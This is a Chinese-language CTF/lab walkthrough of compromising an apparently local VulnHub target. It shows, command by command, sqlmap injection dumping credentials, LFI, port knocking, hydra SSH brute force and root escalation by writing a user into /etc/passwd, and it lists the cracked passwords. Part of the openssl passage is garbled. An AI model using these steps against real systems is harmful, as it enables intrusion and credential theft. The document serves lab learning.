攻击机192.168.223.128
 靶机192.168.223.138
 主机发现 nmap -sP 192.168.223.0/24
 
端口扫描 nmap -sV -p- -A 192.168.223.138
 
开启了22 80端口
 访问一下web页面
 
有个查询界面
 
测试发现存在post型的sql注入
 
用sqlmap跑一下,因为是post型的,这里加一个post的data
 sqlmap -u http://192.168.223.138/results.php --data "search=1" --dbs 爆库
 
三个库,看一下users的
 sqlmap -u http://192.168.223.138/results.php --data "search=1" --tables -D users --batch
 
只有一个表
 
看一下字段
sqlmap -u http://192.168.223.138/results.php --data "search=1" --columns -D users  -T UserDetails --batch
 

有账号密码
 看一下账号密码
sqlmap -u http://192.168.223.138/results.php --data "search=1" -C username,password -D users  -T UserDetails --dump
 

账号密码都爆出来了,登录一下
 
等一下这个管理员的账号,md登不上去0.0
 测试了其他账号密码也登不上去,我淦
 还有一个库没看Staff
 sqlmap -u http://192.168.223.138/results.php --data "search=1" --tables -D Staff --batch爆表

也有个Users
sqlmap -u http://192.168.223.138/results.php --data "search=1" --columns -D Staff -T Users --batch爆字段
 
有账号密码
sqlmap -u http://192.168.223.138/results.php --data "search=1" -C Username,Password -D Staff -T Users --dump --batch
 

admin 856f5de590ef37314e7c3bdf6f8a66dc
 密码用md5解密看看
 
密码是transorbital1
 
成功登录
 注意下面显示
 
可能有文件包含
 用bp抓包看看
 
并没有什么参数,根据前面有个靶机的经验,文件包含的参数名可能是file
 测试一下
 
成功LFI
 BUT,后面不会了,尝试了ssh连接也无果。
 看了别人wp后才知道靶机开启了knockd服务
 搜索了一下相关知识
 
在第一步信息收集的时候22端口其实状态是被过滤的,我忽略了这一点
 
重新看一下,也验证了靶机开启了knockd服务
 看一下配置文件,默认配置文件在/etc/knockd.conf
 
其中7469,8475,9842 就是我们敲门的端口序列
 用nmap依次访问22端口就会开启
nmap -p 7469 192.168.223.138
nmap -p 8475 192.168.223.138
nmap -p 9842 192.168.223.138
 

在扫一下端口看看22端口开没开
 
这里看到22端口已经开启了
 那么应该就可以用ssh连接了
 为了方便,把之前获得的账号和密码分别放入两个txt文档用hydra爆破一下,省手输入了
hydra -L users.txt -P password.txt ssh://192.168.223.138
 
爆出来三组账号密码

login: chandlerb password: UrAG0D!
 login: joeyt password: Passw0rd
 login: janitor password: Ilovepeepee
ssh chandlerb@192.168.223.138
ssh joeyt@192.168.223.138
ssh janitor@192.168.223.138
 
先登第一个看看,空的
 看第二个,也是空的
 看第三个,也是空的,
 我擦
 难道是隐藏了
ls -a 看一下

 
 
看到janitor账户多一个文件
 
打开发现里面有个密码文件
 可能是其他账户密码,加到字典里再爆破一次
 
多爆破出来一组fredf!login: fredf password: B4-Tru3-001
 我最初怀疑的管理员!管理员总应该有点root权限吧?
 sudo -l 看一下
 
果然有一个免密rooot
 打开这个文件看一下
 
好多编译文件,不知道如何利用,看看上一级test.py是什么东西
 
是一个文件读写的脚本,读取第一个参数文件的内容,写入到第二个参数文件里
 可以利用这个脚本写一个有root权限的用户到/etc/passwd就可以提权了
 先来到tmp目录写一个免密的root
echo ttao::0:0:root:/bin/bash >>/tmp/mr
 
然后执行test
 sudo ./test /tmp/mr /etc/passwd发现不太行,可能是文件权限稳定,暂时没搞懂
 那就弄个加密的root
 用openssl加盐
openssl passwd -1 -salt xt xt
 
 
     
      
       
       
         1 
        
       
      
        1 
       
      
    1xt$Mpdxuy7oTO65ufaQVL4zS1
 
echo 'echo 'xt:$1$xt$Mpdxuy7oTO65ufaQVL4zS1:0:0:root:/bin/bash' >> /tmp/xt
' >> /tmp/xt
 
sudo ./test /tmp/xt /etc/passwd
 
su xt
 
成功拿下flag。
 1.sql注入2.LFI本地包含3.knockd敲门服务4.ssh连接5.hyrdra爆破6.ls -a读取隐藏文件7.openssl生成加盐密码8.写入root权限用户



















